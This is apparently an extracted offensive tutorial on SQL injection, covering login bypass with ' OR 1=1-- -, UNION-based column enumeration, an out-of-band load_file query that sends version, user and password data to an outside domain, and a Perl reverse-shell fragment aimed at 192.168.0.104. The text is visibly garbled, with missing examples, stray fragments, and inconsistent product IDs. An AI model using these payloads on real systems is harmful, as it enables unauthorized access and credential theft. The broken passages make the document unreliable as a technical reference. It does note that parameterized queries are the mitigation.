SQL Injection: Berserkr
SQL Injection: Berserkr
SQL INJECTION
Berserkr
COMMUNITY SERVER https://discord.gg/ktSqe3Bmck
to unauthorized data.
The SQL command which when executed by web application can also expose the
back-end database.
This is the simplest test to discover an SQLi vulnerability
' OR 1=1-- -
What's happening in the statement above? A few things actually, lets break it down.
Imagen a normal website where you have a login form. Its highly likely that a SQL
database is storing the account names to said site.
The ' lets us append an already existing SQL query. Then we have OR 1 1. what that
really says is that something is TRUE. So If you would write ' mypass OR 1=1 what it
really says is that the password is mypass or TRUE, thus It will always be TRUE. The
database will interpret this as if you supplied the correct password. That makes sense
since it's after all, TRUE.
The -- - at the end is to comment out any other SQL commands that might had
followed. We only want our appended code to be read. And commenting out anything
after our statements also makes sense.
In a real world scenario however, this simple little trick would likely not work.
);
);
Now lets say we wanted to query the Users table we could write an SQL query
that could look something like this.
SELECT RegDate FROM Users WHERE Email = '[email protected]' ;
http.open("GET", "https://site.site/products/777")
http.send()
Here we have a user making a GET request to an API for a product with ID 300
The return would everything in the table Products that corresponds to ID 300.
The return would look like this. With the UNION statement we are querying
two different tables in the database.
Something to keep in mind is that databases also holds tables that contains
general information about metadata. Like keeping track of the database schema.
The sqlite_master table would have the following information in it.
IN BAND ATTACKS
These are your classical SQLis.
Here is an example.
If we did that we might get an error message saying that we have a syntax error in
our SQL query. Moreover, it might provide us with what Engine is running in the back-
end.
Error messages are your friend!
We play a bit more with SQL syntax and try something that's UNION based.
A few things to remember here: The number of columns in table A must be the same
as in table B, and any engine besides MySQL needs the datatypes to be the same.
If we append UNION select 1 after the value of id in your URI we could get another
error saying that "The used SELECT statements have a different number of columns."
That's interesting since now we can enumerate the correct number of columns by
keep adding columns until we dont see the error message anymore.
In order to see what column gets echoed back we insert an invalid value such as 10
as the value of the id parameter. That forces the system to only execute the second
query, and that's what we would except to see.
We now know that we can modify the second query at second column to get a
response.
If we know that, we would try and execute queries that would leak more valuable
information by inserting user() instead of the 2 in the query.
Out-Of-Band Attacks
These are attacks that wont return any value directly to the attacker. Instead the data
is returned to another domain name. If MySQL is running with an empty secure_file_priv
global system variable, as Is default in versions 5.5.52 and the MariaDB fork, an
attacker can ex-fil data, send it to the load_file function that would create a request to
a domain name and putting data in the request.
Here is an example:
SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.',
(SELECT+password),'.',example.com\\test.txt'))
Each engine has different versions of syntax for the same issue.
The only truly effective mitigation is to use parameterized queries when accessing the
DB.
Any modern engine like PostreSQL natively supports JSON as data that can
be queried.
This is a neat trick to trick any WAF by stacking queries.
IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;''';
There's a staggering number of techniques to bypass, read or manipulate
data in a SQL database. To ensure that you'll not fall victim to a SQL Injection
you need to follow the latest best practice configuration when setting up
your project.
Happy Hacking!